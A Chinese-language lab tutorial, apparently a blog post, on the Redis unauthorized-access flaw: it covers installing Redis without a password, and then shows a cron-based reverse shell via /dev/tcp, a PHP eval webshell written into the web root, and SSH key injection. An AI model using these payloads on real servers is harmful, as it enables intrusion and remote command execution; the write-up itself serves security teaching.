redis未授权访问

redis是高速缓存型数据库,主要用户缓存一些频繁使用的数据来缓解数据库的访问压力。而redis未授权访问漏洞是因为redis数据库使用的过程中没有设定密码,任何人都可以直接连接数据库,这既是未授权访问,这是个通用漏洞,部分版本。redis默认情况下,会绑定在0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将redis服务暴露到公网上,如果再没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问redis以及读取redis的数据。

漏洞产生条件:redis绑定在0.0.0.0:6379,并且没有添加防火墙规则,直接暴露在公网;没有设置密码认证,可以免密码远程登录redis服务。

redis再最新版本中极难出现未授权访问的问题

redis是一种nosql数据库,数据存在内存中,读取快,通常用作缓存,但是有其致命的问题,服务器一旦崩溃,内存数据丢失,存储键值对key-value来存储数据,在老版本中没有密码 ,只有知道ip、能对外连接(端口6379开放),如果不对外连接,我们可以使用ssrf去访问本地redis协议,

redis是自动换行标准化执行(那不就刚好和gopher一样吗?换行操作)

redis安装配置

下载 - Redis

在192.168.81.151编译安装redis

复制代码
1、安装redis依赖
    yum install -y gcc tcl
2、解压,并且将文件放在/root
[root@client hql]# tar -xzf redis-6.2.14.tar.gz
3、进入redis目录,运行编译命令进行编译安装
[root@client ~]# cd redis-6.2.14/
[root@client redis-6.2.14]# make && make install
#默认安装路径在/usr/local/bin目录下,查看目录下的内容确保安装成功
4、启动redis
[root@client redis-6.2.14]# redis-server
[root@client redis-6.2.14]# redis-server redis.conf
5、停止redis进程
[root@client redis-6.2.14]# ps -ef | grep redis
root       10301    5177  0 10:52 pts/1    00:00:00 redis-server *:6379
6、修改配置文件
#备份配置文件
[root@client redis-6.2.14]# cp redis.conf redis.conf.bak
[root@client redis-6.2.14]# vim redis.conf
bind 127.0.0.1 -::1 #允许访问的地址,默认是127.0.0.1,会导致只能在本地访问,修改为0.0.0.0则可以任意IP地址访问
daemonize no #守护进程,修改为yes即可后台运行
#requirepass 123456 设置后访问fedis必须输入密码,因为这里我们要测试未授权访问,所以关掉密码
7、更改配置完启动
[root@client redis-6.2.14]# ps -ef | grep redis
root       10526       1  0 11:05 ?        00:00:00 redis-server 0.0.0.0:6379
8、为了方便控制redis,我们可以把redis添加为服务,就可以通过systemctl来控制redis了
#首先新建一个系统服务文件
[root@client system]# vim /etc/systemd/system/redis.service
#写入内容
[Unit]
Description=redis-server
After=network.target
​
[Service]
Type=forking
ExecStart=/usr/local/bin/redis-server /root/redis-6.2.14/redis.conf
PrivateTmp=true
​
[install]
WantedBy=multi-user.target
#重载系统服务
[root@client system]# systemctl daemon-reload 
#需要重启主机
reboot
#利用系统命令启动redis
[root@client redis-6.2.14]# systemctl start redis
#停止
systemctl stop redis
#重启
systemctl restart redis
#查看状态
systemctl status redis
#开机自启
systemctl enable redis
9、测试连接redis服务器,安装完redis之后,默认会安装一个本地的客户端redis-cli,可以通过这个歌客户端连接操作服务器
[root@client redis-6.2.14]# redis-cli
127.0.0.1:6379> 
#直接连接本地的redis数据库服务器,默认没有密码
[root@servie ~]# yum install redis -y #192.168.81.150
[root@servie ~]# redis-cli
Could not connect to Redis at 127.0.0.1:6379: Connection refused
not connected> exit
[root@servie ~]# redis-cli -h 192.168.81.151
192.168.81.151:6379>  #连接成功

redis基本操作

redis默认端口6379

复制代码
#添加数据
set key value
#获取数据
get key
#删除数据
del key
#查看key
keys * 
#清空数据
flushall

redis配置操作

复制代码
config set dir /home/test #设置工作目录
config set dbfilename redis.rdb #设置备份文件名
config get dir #检查工作目录是否设置成功
config get dbfilename #检查备份文件名是否设置成功
save #进行一次备份操作(落盘)
复制代码
#例
set name hql
config set dir /home/ #设置工作目录
config set dbfilename hql.rdb #设置备份文件名
save

redis未授权访问漏洞危害(利用方式)

一、利用定时任务反弹shell

监听器:192.168.81.150

复制代码
nc -lvvp 4444

通过给目标主机的redis未授权访问漏洞写入反弹shell的指令

复制代码
redis-cli -h 192.168.81.151 set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.81.150/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfielname root
save

成功反弹

二、利用redis写webshell

复制代码
config set dir /usr/local/nginx/html
config set dbfilename root
set test "<?php eval($_POST['123']); ?>"
save

过程与反弹shell一样,就不在赘述

三、利用公私钥认证写入

在linux中,有一个免密登录的功能,将自己的秘钥发送给对端,保存在author_keys文件里面,就可以免密登录。那我们就可以利用redis直接把公钥写进去,就可免密登录服务器了

过程遇上类似,我们直接把公钥写入到需要登录的redis服务器的密钥管理文件中,就可以实现免密登录了。

相关推荐
.生产的驴3 小时前
SpringBoot 集成滑块验证码AJ-Captcha行为验证码 Redis分布式 接口限流 防爬虫
java·spring boot·redis·分布式·后端·爬虫·tomcat
A尘埃7 小时前
K8S有状态服务部署(MySQL、Redis、ES、RabbitMQ、Nacos、ZipKin、Sentinel)
redis·mysql·kubernetes
免檒8 小时前
go基于redis+jwt进行用户认证和权限控制
开发语言·redis·golang
weixin_3077791312 小时前
使用FastAPI和Apache Flink构建跨环境数据管道
redis·python·云计算·fastapi·aws
我可是ikun啊12 小时前
Redis经典面试题
数据库·redis·缓存
Johny_Zhao13 小时前
思科安全大模型SOC作业应用分析
linux·网络·人工智能·网络安全·ai·信息安全·云计算·shell·devops·cisco·yum源·系统运维·itsm
JavaAlpha16 小时前
高频面试题:设计秒杀系统,用Redis+Lua解决超卖
数据库·redis·lua
Le_ee17 小时前
sqli-labs靶场第二关——数字型
数据库·sql·网络安全·sql注入·sqli—labs
扛枪的书生18 小时前
AD 侦查-LLMNR 毒化
windows·渗透·kali·提权·域渗透
网络空间小黑19 小时前
护网HVV初级蓝队面试题总结
安全·web安全·网络安全·系统安全·安全架构